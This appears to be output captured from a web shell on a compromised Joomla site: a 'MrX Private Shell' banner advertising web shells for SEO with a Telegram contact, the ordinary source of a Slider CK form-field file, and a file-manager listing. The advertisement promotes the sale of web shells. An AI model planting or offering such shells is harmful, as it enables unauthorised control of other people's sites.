__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @copyright Copyright (C) 2019 Cedric KEIFLIN alias ced1870
* https://www.joomlack.fr
* @license GNU/GPL
* */
defined('JPATH_PLATFORM') or die;
class JFormFieldCksource extends JFormFieldList
{
protected $type = 'cksource';
private $options;
function __construct($form = null) {
parent::__construct($form);
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 11.1
*/
protected function getOptions() {
$options = array();
foreach ($this->element->children() as $option) {
// Only add <option /> elements.
if ($option->getName() != 'option') {
continue;
}
// Create a new option object based on the <option /> element.
$tmp = JHtml::_(
'select.option', (string) $option['value'], JText::alt(trim((string) $option), preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)), 'value', 'text', ((string) $option['disabled'] == 'true')
);
// Set some option attributes.
$tmp->class = (string) $option['class'];
// Set some JavaScript option attributes.
$tmp->onclick = (string) $option['onclick'];
// Add the option object to the result set.
$options[] = $tmp;
}
$this->options = $options;
// load the custom plugins
if (JPluginHelper::isEnabled('system', 'sliderck')) {
// load the custom plugins
require_once(JPATH_ADMINISTRATOR . '/components/com_sliderck/helpers/ckfof.php');
Sliderck\CKFof::importPlugin('sliderck');
$sources = Sliderck\CKFof::triggerEvent('onSliderckGetSourceName');
if (count($sources)) {
foreach ($sources as $source) {
if (! $this->findOption($source)) {
$tmp = JHtml::_(
'select.option', (string) $source, JText::alt(trim((string) 'SLIDERCK_SOURCE_' . strtoupper($source)), preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)), 'value', 'text', '0'
);
// Add the option object to the result set.
$this->options[] = $tmp;
}
}
}
}
reset($this->options);
return $this->options;
}
public function findOption($source) {
foreach ($this->options as $o) {
if ($o->value == $source) return true;
}
return false;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ckbackground.php | File | 633 B | 0664 |
|
| ckcolor.php | File | 2.18 KB | 0664 |
|
| ckdocumentation.php | File | 763 B | 0664 |
|
| ckfolderlist.php | File | 1.9 KB | 0664 |
|
| ckformfield.php | File | 1.67 KB | 0664 |
|
| ckheight.php | File | 3.4 KB | 0664 |
|
| ckinfo.php | File | 2.46 KB | 0664 |
|
| cklayout.php | File | 3.77 KB | 0664 |
|
| cklight.php | File | 1.21 KB | 0664 |
|
| cklist.php | File | 2.22 KB | 0664 |
|
| ckmigrate.php | File | 4.64 KB | 0664 |
|
| ckpro.php | File | 917 B | 0664 |
|
| ckproducts.php | File | 2.65 KB | 0664 |
|
| ckproonly.php | File | 1.14 KB | 0664 |
|
| ckradio.php | File | 2.26 KB | 0664 |
|
| ckslidesmanager.php | File | 3.56 KB | 0664 |
|
| cksource.php | File | 2.13 KB | 0664 |
|
| ckspacer.php | File | 1.56 KB | 0664 |
|
| ckstyle.php | File | 3.22 KB | 0664 |
|
| cktext.php | File | 1.91 KB | 0664 |
|
| sliderckcolor.php | File | 901 B | 0664 |
|
| sliderckinterface.php | File | 1.89 KB | 0664 |
|
| slidercklist.php | File | 951 B | 0664 |
|
| sliderckradio.php | File | 1.09 KB | 0664 |
|
| sliderckspacer.php | File | 1.55 KB | 0664 |
|
| slidercktext.php | File | 843 B | 0664 |
|